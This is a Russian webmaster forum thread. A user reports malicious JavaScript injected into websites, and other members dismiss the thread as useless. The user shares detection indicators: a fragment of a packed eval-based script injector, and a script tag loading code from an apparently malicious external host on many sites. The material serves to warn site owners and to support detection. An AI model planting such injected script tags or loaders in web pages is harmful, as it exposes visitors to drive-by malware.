Нашел вирус. Это может быть у Вашего сайта.

12
GC
На сайте с 09.04.2007
Offline
159
GKC
#11
virusdomain:
GKC,
Чем могу доказать свою состоятельность?...

О нет - я вполне верю в ваши глюки... :)

virusdomain:
...Вообще-то я не хотел разбрасывать больше одного примера за день, но ради дела....

Кому то уже подарили адресочек? Надеюсь с его согласия :)

Автоматическое удаление информации (http://www.gkclab.com/russ/terminator/terminator.html) ... Мистический туризм (http://mystictourism.com/) в гости к призракам...
V
На сайте с 12.09.2013
Offline
4
#12

GKC,

Рекомендую присмотреться к сайту УДАЛЕНО

И обратить внимание на строчку <SCRIPT language="Javascript" src="http:/img/codes.js"></SCRIPT>

Скан от сейчас (УДАЛЕНО):

https://www.virustotal.com/ru/url/110bbfcf6ce73b5ff615d7bfb9569f281881bdf1e5df807354bfa39560722bfc7e/analysis/1392052035/

Надеюсь тупых предположений не будет. Я занимаюсь поиском, а не наоборот.

Есть еще вопросы?

Пилю свою SafeBrowsing. Проверить и посмотреть можно на сборщике статистики - http://virusdomain.com (http://virusdomain.com)
GC
На сайте с 09.04.2007
Offline
159
GKC
#13

Да...

Зачем эта тема?

(Вот только не надо про мир дружбу и жвачку)

V
На сайте с 12.09.2013
Offline
4
#14

GKC,

Теперь Вы понимаете, какой инфой я обладаю.

GC
На сайте с 09.04.2007
Offline
159
GKC
#15

Страшной...

Смотри Сэм - это неуловимый Джон....
А почему он неуловимый? Так крут?
Нет - просто он нафиг никому не нужен...
V
На сайте с 12.09.2013
Offline
4
#16

GKC,

Я Вас не понял. Я показал сигнатуру о которой и не слышали. Но используют, чтобы нагнуть ваши сайты.

Вы сказали покажи линк, чтобы не палился всеми - показал. Рано или поздно этот сайт уйдет в бан.

Тему опубликовал в разделе безопасность. Чтобы помочь.

А может линков мало, так у меня таких 2K.

А Вы можете показать, что-будь новое?

TF-Studio
На сайте с 17.08.2010
Offline
334
#17

Пишите в софос/касперу - порадуйте их сигнатурами.

Тут какой смысл этой темы?

Какое есть практически применение?

Всё ещё лучший способ заработка для белых сайтов: GoGetLinks (https://www.gogetlinks.net/?inv=fahbn8).
GC
На сайте с 09.04.2007
Offline
159
GKC
#18

TF-Studio, Безнадежно... ТС походу реально не понимает, как такая важная по его мнению хрень, может быть никому не интересна.. )

V
На сайте с 12.09.2013
Offline
4
#19

XXXXXXX/js/behavior.js

Путь к скрипту может быть и другой!

Содержит следующие строки:

eval(function(p,a,c,k,e,d){e=function(c){ ...

var|document| ...

function| ...

return| ...

getElementsByTagName|setAttribute|indexOf

createElement|if|text|type|reverse|split|

javascript|join|head|script|navigator|win|userAgent|toLowerCase|chrome|src|

appendChild|http|pp|ua'.split('|'),0,{}))

!!! Также содержит строки вроде |AAKYVUG| , их пришлось выкинуть, неизвестно насколько они уникальны. !!!

Не переапутайте это с простым упакованным скриптом.

V
На сайте с 12.09.2013
Offline
4
#20

<script src="http://kokiase.edns.biz/koala.php#XXXXX" type="text/javascript">

Содержится на большом количестве сайтов.

12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий